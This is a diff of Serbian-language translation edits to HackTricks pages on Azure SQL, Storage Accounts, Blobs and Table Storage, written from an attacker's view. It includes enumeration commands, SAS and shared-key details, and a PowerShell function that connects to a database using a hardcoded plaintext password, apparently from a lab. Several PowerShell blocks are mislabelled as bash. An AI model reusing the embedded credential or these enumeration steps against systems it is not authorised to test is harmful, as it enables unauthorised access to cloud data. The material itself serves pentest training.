[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Post eksploatacija
|
||||
## Post Eksploatacija
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %}
|
||||
[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
@@ -174,7 +174,7 @@ az mysql flexible-server deploy run \
|
||||
|
||||
## ToDo
|
||||
|
||||
* Potraži način da se pristupi mysql flexible-server ad-admin da se verifikuje da li je to metoda eskalacije privilegija
|
||||
* Potraži način da se pristupi mysql flexible-server ad-admin da se potvrdi da je to metoda eskalacije privilegija
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@ Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podrška HackTricks</summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
@@ -82,7 +82,7 @@ az postgres flexible-server server-logs list --resource-group <resource-group-na
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
```bash
|
||||
Get-Command -Module Az.PostgreSql
|
||||
|
||||
# List flexible-servers in a resource group
|
||||
|
||||
@@ -22,7 +22,7 @@ Azure SQL se sastoji od tri glavne ponude:
|
||||
- **PaaS mogućnosti**: Ugrađena visoka dostupnost, rezervne kopije i ažuriranja.
|
||||
- **Fleksibilnost podataka**: Podržava relacione i nerezidencijalne podatke (npr. grafove, JSON, prostorne i XML).
|
||||
|
||||
#### Modeli kupovine / Uslužni nivoi
|
||||
#### Modeli kupovine / Servisni nivoi
|
||||
|
||||
- **vCore-bazirano**: Izaberite računarske resurse, memoriju i skladište nezavisno. Za opštu svrhu, poslovno kritične (sa visokom otpornosti i performansama za OLTP aplikacije), i skalira do 128 TB skladišta.
|
||||
- **DTU-bazirano**: Kombinuje računarske resurse, memoriju i I/O u fiksne nivoe. Izbalansirani resursi za uobičajene zadatke.
|
||||
@@ -44,8 +44,8 @@ Azure SQL Database podržava fleksibilne opcije implementacije kako bi zadovolji
|
||||
|
||||
- **Jedinstvene baze podataka**: Svaka baza podataka je izolovana i ima svoje posvećene računarske resurse, memoriju i skladište. Resursi se mogu dinamički skalirati (gore ili dole) bez prekida rada (1–128 vCores, 32 GB–4 TB skladišta, i do 128 TB).
|
||||
- **Elastični bazeni**: Deli resurse između više baza podataka u bazenu kako bi se maksimizovala efikasnost i uštedeli troškovi. Resursi se takođe mogu dinamički skalirati za ceo bazen.
|
||||
- **Fleksibilnost uslužnog nivoa**: Počnite sa malom jedinstvenom bazom podataka u opštem nivou. Nadogradite na poslovno kritične ili hiperskalne nivoe kako potrebe rastu.
|
||||
- **Opcije skaliranja**: Dinamičko skaliranje ili alternativne automatske opcije.
|
||||
- **Fleksibilnost servisnog nivoa**: Počnite sa malom jedinstvenom bazom podataka u opštem nivou. Nadogradite na poslovno kritične ili hiperskalne nivoe kako potrebe rastu.
|
||||
- **Opcije skaliranja**: Dinamičko skaliranje ili alternativne automatske skalacije.
|
||||
|
||||
#### Ugrađeno praćenje i optimizacija
|
||||
|
||||
@@ -62,9 +62,9 @@ Azure SQL Database podržava fleksibilne opcije implementacije kako bi zadovolji
|
||||
|
||||
### Azure SQL Managed Instance
|
||||
|
||||
**Azure SQL Managed Instance** je platforma kao usluga (PaaS) koja nudi skoro 100% kompatibilnost sa SQL Server-om i automatski upravlja većinom zadataka upravljanja (npr. nadogradnja, zakrpe, rezervne kopije, praćenje). Pruža cloud rešenje za migraciju on-premises SQL Server baza podataka uz minimalne promene.
|
||||
**Azure SQL Managed Instance** je platforma kao usluga (PaaS) koja nudi skoro 100% kompatibilnost sa SQL Server-om i automatski obavlja većinu upravljačkih zadataka (npr. nadogradnje, zakrpe, rezervne kopije, praćenje). Pruža cloud rešenje za migraciju on-premises SQL Server baza podataka uz minimalne promene.
|
||||
|
||||
#### Uslužni nivoi
|
||||
#### Servisni nivoi
|
||||
|
||||
- **Opšta svrha**: Ekonomična opcija za aplikacije sa standardnim I/O i latencijskim zahtevima.
|
||||
- **Poslovno kritično**: Opcija visoke performanse sa niskom I/O latencijom za kritična radna opterećenja.
|
||||
@@ -73,7 +73,7 @@ Azure SQL Database podržava fleksibilne opcije implementacije kako bi zadovolji
|
||||
|
||||
* **Zaštita od pretnji**: Napredna zaštita od pretnji upozorava na sumnjive aktivnosti i SQL injekcijske napade. Revizija za praćenje i beleženje događaja baze podataka radi usklađenosti.
|
||||
* **Kontrola pristupa**: Microsoft Entra autentifikacija za centralizovano upravljanje identitetom. Bezbednost na nivou reda i dinamičko maskiranje podataka za granularnu kontrolu pristupa.
|
||||
* **Rezervne kopije**: Automatske i ručne rezervne kopije sa mogućnošću obnove tačke u vremenu.
|
||||
* **Rezervne kopije**: Automatske i ručne rezervne kopije sa mogućnošću obnavljanja tačke u vremenu.
|
||||
|
||||
### Azure SQL Virtual Machines
|
||||
|
||||
@@ -85,15 +85,15 @@ Azure SQL Database podržava fleksibilne opcije implementacije kako bi zadovolji
|
||||
**Automatsko zakrpljenje**: Automatizuje instalaciju Windows i SQL Server ažuriranja tokom održavanja.
|
||||
**Integracija Azure Key Vault**: Automatski konfiguriše Key Vault za SQL Server VMs.
|
||||
**Integracija Defender for Cloud**: Prikazuje preporuke Defender for SQL u portalu.
|
||||
**Fleksibilnost verzije/izdanja**: Promenite metapodatke verzije ili izdanja SQL Server-a bez ponovne implementacije VM-a.
|
||||
**Fleksibilnost verzije/izdanja**: Promenite metapodatke verzije ili izdanja SQL Server-a bez ponovne implementacije VM-a.
|
||||
|
||||
#### Sigurnosne karakteristike
|
||||
|
||||
**Microsoft Defender for SQL**: Uvidi i upozorenja o sigurnosti.
|
||||
**Integracija Azure Key Vault**: Sigurno skladištenje kredencijala i ključeva za enkripciju.
|
||||
**Microsoft Entra (Azure AD)**: Autentifikacija i kontrola pristupa.
|
||||
**Microsoft Entra (Azure AD)**: Autentifikacija i kontrola pristupa.
|
||||
|
||||
## Enumeration
|
||||
## Enumeracija
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
@@ -166,7 +166,7 @@ az sql vm show --resource-group <res-grp> --name <name>
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Az PowerShell"}}
|
||||
```powershell
|
||||
```bash
|
||||
# List Servers
|
||||
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
|
||||
|
||||
@@ -209,7 +209,7 @@ Get-AzSqlVM
|
||||
### Povežite se i izvršite SQL upite
|
||||
|
||||
Možete pronaći string za povezivanje (koji sadrži akreditive) iz primera [enumerating an Az WebApp](az-app-services.md):
|
||||
```powershell
|
||||
```bash
|
||||
function invoke-sql{
|
||||
param($query)
|
||||
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
|
||||
@@ -228,7 +228,7 @@ $Connection.Close()
|
||||
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
|
||||
```
|
||||
Možete takođe koristiti sqlcmd za pristup bazi podataka. Važno je znati da li server dozvoljava javne konekcije `az sql server show --name <server-name> --resource-group <resource-group>`, kao i da li pravilo vatrozida dozvoljava našem IP-u pristup:
|
||||
```powershell
|
||||
```bash
|
||||
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
|
||||
```
|
||||
## Reference
|
||||
|
||||
@@ -1,83 +1,83 @@
|
||||
# Az - Računi za skladištenje i Blobi
|
||||
# Az - Storage Accounts & Blobs
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Azure Računi za skladištenje su osnovne usluge u Microsoft Azure koje pružaju skalabilno, sigurno i visoko dostupno cloud **skladište za različite tipove podataka**, uključujući blobe (binarni veliki objekti), datoteke, redove i tabele. Oni služe kao kontejneri koji grupišu ove različite usluge skladištenja pod jednim imenom za lakše upravljanje.
|
||||
Azure Storage Accounts su osnovne usluge u Microsoft Azure koje pružaju skalabilnu, sigurnu i visoko dostupnu cloud **pohranu za različite tipove podataka**, uključujući blobove (binarni veliki objekti), datoteke, redove i tabele. Oni služe kao kontejneri koji grupišu ove različite usluge pohrane pod jednim imenom za lakše upravljanje.
|
||||
|
||||
**Glavne opcije konfiguracije**:
|
||||
|
||||
- Svaki račun za skladištenje mora imati **jedinstveno ime u svim Azure**.
|
||||
- Svaki račun za skladištenje se implementira u **regionu** ili u proširenoj zoni Azure
|
||||
- Moguće je odabrati **premium** verziju računa za skladištenje za bolju performansu
|
||||
- Moguće je odabrati između **4 tipa redundancije za zaštitu** od kvarova rack-a, diska i datacentra **kvarova**.
|
||||
- Svaki storage account mora imati **jedinstveno ime u okviru celog Azure-a**.
|
||||
- Svaki storage account se implementira u **regionu** ili u proširenoj zoni Azure-a.
|
||||
- Moguće je odabrati **premium** verziju storage account-a za bolju performansu.
|
||||
- Moguće je odabrati između **4 tipa redundancije za zaštitu** od kvarova rack-a, diska i datacentra.
|
||||
|
||||
**Opcije konfiguracije sigurnosti**:
|
||||
|
||||
- **Zahtevati sigurni prenos za REST API operacije**: Zahtevati TLS u bilo kojoj komunikaciji sa skladištem
|
||||
- **Omogućava omogućavanje anonimnog pristupa na pojedinačnim kontejnerima**: Ako ne, neće biti moguće omogućiti anonimni pristup u budućnosti
|
||||
- **Omogućiti pristup ključu računa za skladištenje**: Ako ne, pristup sa Deljenim Ključevima će biti zabranjen
|
||||
- **Minimalna TLS verzija**
|
||||
- **Dozvoljeni opseg za operacije kopiranja**: Dozvoliti iz bilo kog računa za skladištenje, iz bilo kog računa za skladištenje iz istog Entra tenant-a ili iz računa za skladištenje sa privatnim krajnjim tačkama u istoj virtuelnoj mreži.
|
||||
- **Zahtevati sigurni prenos za REST API operacije**: Zahtevati TLS u bilo kojoj komunikaciji sa pohranom.
|
||||
- **Omogućava omogućavanje anonimnog pristupa na pojedinačnim kontejnerima**: Ako ne, neće biti moguće omogućiti anonimni pristup u budućnosti.
|
||||
- **Omogućiti pristup ključu storage account-a**: Ako ne, pristup sa Shared Keys će biti zabranjen.
|
||||
- **Minimalna TLS verzija**.
|
||||
- **Dozvoljeni opseg za operacije kopiranja**: Dozvoliti iz bilo kog storage account-a, iz bilo kog storage account-a iz istog Entra tenant-a ili iz storage account-a sa privatnim krajnjim tačkama u istoj virtuelnoj mreži.
|
||||
|
||||
**Opcije Blob skladišta**:
|
||||
**Opcije Blob Storage-a**:
|
||||
|
||||
- **Dozvoliti replikaciju između tenant-a**
|
||||
- **Nivo pristupa**: Vruće (često pristupani podaci), Hladno i Hladno (retko pristupani podaci)
|
||||
- **Dozvoliti replikaciju između tenant-a**.
|
||||
- **Pristupni nivo**: Vrući (često pristupani podaci), Hladan i Zaleđen (retko pristupani podaci).
|
||||
|
||||
**Opcije umrežavanja**:
|
||||
|
||||
- **Pristup mreži**:
|
||||
- Dozvoliti iz svih mreža
|
||||
- Dozvoliti iz odabranih virtuelnih mreža i IP adresa
|
||||
- Onemogućiti javni pristup i koristiti privatni pristup
|
||||
- **Privatne krajnje tačke**: Omogućava privatnu vezu sa računom za skladištenje iz virtuelne mreže
|
||||
- Dozvoliti iz svih mreža.
|
||||
- Dozvoliti iz odabranih virtuelnih mreža i IP adresa.
|
||||
- Onemogućiti javni pristup i koristiti privatni pristup.
|
||||
- **Privatne krajnje tačke**: Omogućava privatnu vezu sa storage account-om iz virtuelne mreže.
|
||||
|
||||
**Opcije zaštite podataka**:
|
||||
|
||||
- **Obnavljanje u tački vremena za kontejnere**: Omogućava vraćanje kontejnera na ranije stanje
|
||||
- Zahteva verzionisanje, promena feed-a i soft brisanje bloba da bi bila omogućena.
|
||||
- **Omogućiti soft brisanje za blobe**: Omogućava period zadržavanja u danima za obrisane blobe (čak i prepisane)
|
||||
- **Omogućiti soft brisanje za kontejnere**: Omogućava period zadržavanja u danima za obrisane kontejnere
|
||||
- **Omogućiti soft brisanje za deljene datoteke**: Omogućava period zadržavanja u danima za obrisane deljene datoteke
|
||||
- **Omogućiti verzionisanje za blobe**: Održava prethodne verzije vaših blobova
|
||||
- **Omogućiti blob promena feed**: Čuva logove o kreiranju, modifikaciji i brisanju promena na blobovima
|
||||
- **Omogućiti podršku za imutabilnost na nivou verzije**: Omogućava postavljanje politike zadržavanja zasnovane na vremenu na nivou računa koja će se primenjivati na sve verzije bloba.
|
||||
- **Obnavljanje u tački vremena za kontejnere**: Omogućava vraćanje kontejnera u ranije stanje.
|
||||
- Zahteva verzionisanje, promena feed-a i soft delete za blobove da bi bili omogućeni.
|
||||
- **Omogućiti soft delete za blobove**: Omogućava period zadržavanja u danima za obrisane blobove (čak i prepisane).
|
||||
- **Omogućiti soft delete za kontejnere**: Omogućava period zadržavanja u danima za obrisane kontejnere.
|
||||
- **Omogućiti soft delete za deljene datoteke**: Omogućava period zadržavanja u danima za obrisane deljene datoteke.
|
||||
- **Omogućiti verzionisanje za blobove**: Održava prethodne verzije vaših blobova.
|
||||
- **Omogućiti blob change feed**: Čuva logove o kreiranju, izmenama i brisanju blobova.
|
||||
- **Omogućiti podršku za imutabilnost na nivou verzije**: Omogućava postavljanje politike zadržavanja zasnovane na vremenu na nivou naloga koja će se primenjivati na sve verzije blobova.
|
||||
- Podrška za imutabilnost na nivou verzije i obnavljanje u tački vremena za kontejnere ne mogu se omogućiti istovremeno.
|
||||
|
||||
**Opcije konfiguracije enkripcije**:
|
||||
|
||||
- **Tip enkripcije**: Moguće je koristiti ključeve koje upravlja Microsoft (MMK) ili ključeve koje upravlja korisnik (CMK)
|
||||
- **Omogućiti enkripciju infrastrukture**: Omogućava dvostruku enkripciju podataka "za veću sigurnost"
|
||||
- **Tip enkripcije**: Moguće je koristiti ključeve koje upravlja Microsoft (MMK) ili ključeve koje upravlja korisnik (CMK).
|
||||
- **Omogućiti infrastrukturalnu enkripciju**: Omogućava dvostruku enkripciju podataka "za veću sigurnost".
|
||||
|
||||
### Krajnje tačke skladišta
|
||||
### Storage krajnje tačke
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="197">Služba skladišta</th><th>Krajnja tačka</th></tr></thead><tbody><tr><td><strong>Blob skladište</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue skladište</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table skladište</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="197">Storage usluga</th><th>Krajnja tačka</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
|
||||
### Javno izlaganje
|
||||
|
||||
Ako je "Dozvoli javni pristup Blob-u" **omogućeno** (podrazumevano onemogućeno), prilikom kreiranja kontejnera moguće je:
|
||||
Ako je "Dozvoli javni pristup blobovima" **omogućeno** (podrazumevano onemogućeno), prilikom kreiranja kontejnera moguće je:
|
||||
|
||||
- Dati **javnu pristup za čitanje blobova** (morate znati ime).
|
||||
- Dati **javni pristup za čitanje blobova** (morate znati ime).
|
||||
- **Lista kontejnerskih blobova** i **čitati** ih.
|
||||
- Učiniti ga potpuno **privatnim**
|
||||
- Učiniti ga potpuno **privatnim**.
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Povezivanje sa skladištem
|
||||
### Povezivanje sa pohranom
|
||||
|
||||
Ako pronađete bilo koje **skladište** na koje se možete povezati, možete koristiti alat [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) za to.
|
||||
Ako pronađete bilo koju **pohranu** kojoj možete pristupiti, možete koristiti alat [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) za to.
|
||||
|
||||
## Pristup skladištu <a href="#about-blob-storage" id="about-blob-storage"></a>
|
||||
## Pristup pohrani <a href="#about-blob-storage" id="about-blob-storage"></a>
|
||||
|
||||
### RBAC
|
||||
|
||||
Moguće je koristiti Entra ID principe sa **RBAC rolama** za pristup računima za skladištenje i to je preporučeni način.
|
||||
Moguće je koristiti Entra ID principe sa **RBAC rolama** za pristup storage account-ima i to je preporučeni način.
|
||||
|
||||
### Pristupni ključevi
|
||||
|
||||
Računi za skladištenje imaju pristupne ključeve koji se mogu koristiti za pristup. Ovo pruža **potpun pristup računu za skladištenje.**
|
||||
Storage account-i imaju pristupne ključeve koji se mogu koristiti za pristup. Ovo pruža **potpun pristup storage account-u.**
|
||||
|
||||
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -86,7 +86,7 @@ Računi za skladištenje imaju pristupne ključeve koji se mogu koristiti za pri
|
||||
Moguće je [**generisati deljene ključeve**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) potpisane pristupnim ključevima za autorizaciju pristupa određenim resursima putem potpisanog URL-a.
|
||||
|
||||
> [!NOTE]
|
||||
> Imajte na umu da deo `CanonicalizedResource` predstavlja resurs usluga skladišta (URI). I ako je bilo koji deo u URL-u kodiran, takođe bi trebao biti kodiran unutar `CanonicalizedResource`.
|
||||
> Imajte na umu da deo `CanonicalizedResource` predstavlja resurs usluga pohrane (URI). I ako je bilo koji deo u URL-u kodiran, takođe bi trebao biti kodiran unutar `CanonicalizedResource`.
|
||||
|
||||
> [!NOTE]
|
||||
> Ovo je **podrazumevano korišćeno od strane `az` cli** za autentifikaciju zahteva. Da biste koristili kredencijale Entra ID principa, navedite parametar `--auth-mode login`.
|
||||
@@ -125,7 +125,7 @@ Date + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
- Moguće je generisati **lite shared key za table services** potpisivanjem sledećih informacija:
|
||||
- Moguće je generisati **lite shared key for table services** potpisivanjem sledećih informacija:
|
||||
```bash
|
||||
StringToSign = Date + "\n"
|
||||
CanonicalizedResource
|
||||
@@ -146,12 +146,12 @@ Content-Length: 0
|
||||
|
||||
Shared Access Signatures (SAS) su sigurni, vremenski ograničeni URL-ovi koji **dodeljuju specifične dozvole za pristup resursima** u Azure Storage nalogu bez izlaganja pristupnih ključeva naloga. Dok pristupni ključevi pružaju punu administrativnu kontrolu nad svim resursima, SAS omogućava granularnu kontrolu tako što specificira dozvole (kao što su čitanje ili pisanje) i definiše vreme isteka.
|
||||
|
||||
#### SAS Tipovi
|
||||
#### SAS Types
|
||||
|
||||
- **User delegation SAS**: Ovo se kreira iz **Entra ID principal** koji će potpisati SAS i delegirati dozvole od korisnika na SAS. Može se koristiti samo sa **blob i data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Moguće je **poništiti** sve generisane korisničke delegirane SAS.
|
||||
- Čak i ako je moguće generisati delegaciju SAS sa "više" dozvola nego što korisnik ima. Međutim, ako principal ih nema, neće raditi (nema privesc).
|
||||
- **Service SAS**: Ovo se potpisuje koristeći jedan od pristupnih ključeva storage naloga. Može se koristiti za dodeljivanje pristupa specifičnim resursima u jednoj usluzi skladištenja. Ako se ključ obnovi, SAS će prestati da funkcioniše.
|
||||
- **Account SAS**: Takođe se potpisuje jednim od pristupnih ključeva storage naloga. Dodeljuje pristup resursima širom usluga skladištenja naloga (Blob, Queue, Table, File) i može uključivati operacije na nivou usluge.
|
||||
- **User delegation SAS**: Ovo se kreira iz **Entra ID principal** koji će potpisati SAS i delegirati dozvole od korisnika na SAS. Može se koristiti samo sa **blob i data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Moguće je **opozvati** sve generisane korisničke delegirane SAS.
|
||||
- Čak i ako je moguće generisati delegaciju SAS sa "više" dozvola nego što korisnik ima. Međutim, ako principal nema te dozvole, neće raditi (nema privesc).
|
||||
- **Service SAS**: Ovo se potpisuje koristeći jedan od pristupnih ključeva **storage** naloga. Može se koristiti za dodeljivanje pristupa specifičnim resursima u jednoj usluzi skladištenja. Ako se ključ obnovi, SAS će prestati da funkcioniše.
|
||||
- **Account SAS**: Takođe se potpisuje jednim od pristupnih ključeva **storage** naloga. Dodeljuje pristup resursima širom usluga skladištenja naloga (Blob, Queue, Table, File) i može uključivati operacije na nivou usluge.
|
||||
|
||||
SAS URL potpisan **pristupnim ključem** izgleda ovako:
|
||||
|
||||
@@ -161,53 +161,53 @@ SAS URL potpisan kao **user delegation** izgleda ovako:
|
||||
|
||||
- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
|
||||
|
||||
Napomena o nekim **http parametrima**:
|
||||
Napomena o nekim **http params**:
|
||||
|
||||
- **`se`** parametru označava **datum isteka** SAS-a
|
||||
- **`sp`** parametru označava **dozvole** SAS-a
|
||||
- **`se`** param označava **datum isteka** SAS-a
|
||||
- **`sp`** param označava **dozvole** SAS-a
|
||||
- **`sig`** je **potpis** koji validira SAS
|
||||
|
||||
#### SAS dozvole
|
||||
#### SAS permissions
|
||||
|
||||
Kada se generiše SAS, potrebno je naznačiti dozvole koje bi trebalo da dodeljuje. U zavisnosti od objekta nad kojim se generiše SAS, različite dozvole mogu biti uključene. Na primer:
|
||||
|
||||
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
|
||||
|
||||
## SFTP Podrška za Azure Blob Storage
|
||||
## SFTP Support for Azure Blob Storage
|
||||
|
||||
Azure Blob Storage sada podržava SSH File Transfer Protocol (SFTP), omogućavajući sigurnu razmenu i upravljanje datotekama direktno u Blob Storage bez potrebe za prilagođenim rešenjima ili proizvodima trećih strana.
|
||||
|
||||
### Ključne Karakteristike
|
||||
### Key Features
|
||||
|
||||
- Podrška za protokol: SFTP radi sa Blob Storage nalozima konfiguriranim sa hijerarhijskim imenskim prostorom (HNS). Ovo organizuje blobove u direktorijume i poddirektorijume radi lakše navigacije.
|
||||
- Bezbednost: SFTP koristi lokalne korisničke identitete za autentifikaciju i ne integriše se sa RBAC ili ABAC. Svaki lokalni korisnik može se autentifikovati putem:
|
||||
- Protocol Support: SFTP radi sa Blob Storage nalozima konfiguriranim sa hijerarhijskim imenskim prostorom (HNS). Ovo organizuje blobove u direktorijume i poddirektorijume radi lakše navigacije.
|
||||
- Security: SFTP koristi lokalne korisničke identitete za autentifikaciju i ne integriše se sa RBAC ili ABAC. Svaki lokalni korisnik može se autentifikovati putem:
|
||||
- Azure-generisanih lozinki
|
||||
- Javnih i privatnih SSH ključeva
|
||||
- Granularne dozvole: Dozvole kao što su Čitanje, Pisanje, Brisanje i Lista mogu se dodeliti lokalnim korisnicima za do 100 kontejnera.
|
||||
- Mrežne razmatranja: SFTP veze se uspostavljaju preko porta 22. Azure podržava mrežne konfiguracije kao što su vatrozidi, privatne tačke ili virtuelne mreže za zaštitu SFTP saobraćaja.
|
||||
- Granular Permissions: Dozvole kao što su Čitanje, Pisanje, Brisanje i Lista mogu se dodeliti lokalnim korisnicima za do 100 kontejnera.
|
||||
- Networking Considerations: SFTP veze se uspostavljaju preko porta 22. Azure podržava mrežne konfiguracije kao što su vatrozidi, privatne tačke ili virtuelne mreže za zaštitu SFTP saobraćaja.
|
||||
|
||||
### Zahtevi za postavljanje
|
||||
### Setup Requirements
|
||||
|
||||
- Hijerarhijski imenski prostor: HNS mora biti omogućen prilikom kreiranja naloga za skladištenje.
|
||||
- Podržana enkripcija: Zahteva Microsoft Security Development Lifecycle (SDL)-odobrene kriptografske algoritme (npr., rsa-sha2-256, ecdsa-sha2-nistp256).
|
||||
- SFTP konfiguracija:
|
||||
- Hierarchical Namespace: HNS mora biti omogućen prilikom kreiranja naloga za skladištenje.
|
||||
- Supported Encryption: Zahteva Microsoft Security Development Lifecycle (SDL)-odobrene kriptografske algoritme (npr. rsa-sha2-256, ecdsa-sha2-nistp256).
|
||||
- SFTP Configuration:
|
||||
- Omogućite SFTP na nalogu za skladištenje.
|
||||
- Kreirajte lokalne korisničke identitete sa odgovarajućim dozvolama.
|
||||
- Konfigurišite početne direktorijume za korisnike kako biste definisali njihovu početnu lokaciju unutar kontejnera.
|
||||
|
||||
### Dozvole
|
||||
### Permissions
|
||||
|
||||
| Dozvola | Simbol | Opis |
|
||||
| --------------------- | ------ | ------------------------------------- |
|
||||
| **Čitanje** | `r` | Čitaj sadržaj datoteke. |
|
||||
| **Pisanje** | `w` | Učitaj datoteke i kreiraj direktorijume. |
|
||||
| **Lista** | `l` | Lista sadržaj direktorijuma. |
|
||||
| **Brisanje** | `d` | Obriši datoteke ili direktorijume. |
|
||||
| **Kreiranje** | `c` | Kreiraj datoteke ili direktorijume. |
|
||||
| **Izmena vlasništva** | `o` | Promeni korisnika ili grupu koja poseduje. |
|
||||
| **Izmena dozvola** | `p` | Promeni ACL-ove na datotekama ili direktorijumima. |
|
||||
| Permission | Symbol | Description |
|
||||
| ---------------------- | ------ | ------------------------------------ |
|
||||
| **Read** | `r` | Čitaj sadržaj datoteke. |
|
||||
| **Write** | `w` | Učitaj datoteke i kreiraj direktorijume. |
|
||||
| **List** | `l` | Lista sadržaj direktorijuma. |
|
||||
| **Delete** | `d` | Obriši datoteke ili direktorijume. |
|
||||
| **Create** | `c` | Kreiraj datoteke ili direktorijume. |
|
||||
| **Modify Ownership** | `o` | Promeni korisnika ili grupu vlasnika. |
|
||||
| **Modify Permissions** | `p` | Promeni ACL-ove na datotekama ili direktorijumima. |
|
||||
|
||||
## Enumeracija
|
||||
## Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -330,7 +330,7 @@ az storage account local-user list \
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get storage accounts
|
||||
Get-AzStorageAccount | fl
|
||||
# Get rules to access the storage account
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## Osnovne Informacije
|
||||
|
||||
**Azure Table Storage** je NoSQL skladište ključ-vrednost dizajnirano za skladištenje velikih količina strukturiranih, nerezidencijalnih podataka. Pruža visoku dostupnost, nisku latenciju i skalabilnost za efikasno upravljanje velikim skupovima podataka. Podaci su organizovani u tabele, pri čemu je svaka entitet identifikovan pomoću partition key i row key, što omogućava brze pretrage. Podržava funkcije kao što su enkripcija u mirovanju, kontrola pristupa zasnovana na ulogama i potpisane pristupne dozvole za sigurno, upravljano skladištenje pogodno za širok spektar aplikacija.
|
||||
**Azure Table Storage** je NoSQL skladište ključ-vrednost dizajnirano za skladištenje velikih količina strukturiranih, nestrukturiranih podataka. Pruža visoku dostupnost, nisku latenciju i skalabilnost za efikasno upravljanje velikim skupovima podataka. Podaci su organizovani u tabelama, pri čemu je svaka entitet identifikovan pomoću partition key i row key, što omogućava brze pretrage. Podržava funkcije kao što su enkripcija u mirovanju, kontrola pristupa zasnovana na ulogama i potpisane pristupne dozvole za sigurno, upravljano skladištenje pogodno za širok spektar aplikacija.
|
||||
|
||||
**Ne postoji ugrađeni mehanizam za pravljenje rezervnih kopija** za table storage.
|
||||
**Ne postoji ugrađeni mehanizam za pravljenje rezervnih kopija** za skladištenje tabela.
|
||||
|
||||
### Ključevi
|
||||
|
||||
@@ -63,7 +63,7 @@ az storage entity merge \
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
```powershell
|
||||
```bash
|
||||
# Get storage accounts
|
||||
Get-AzStorageAccount
|
||||
|
||||
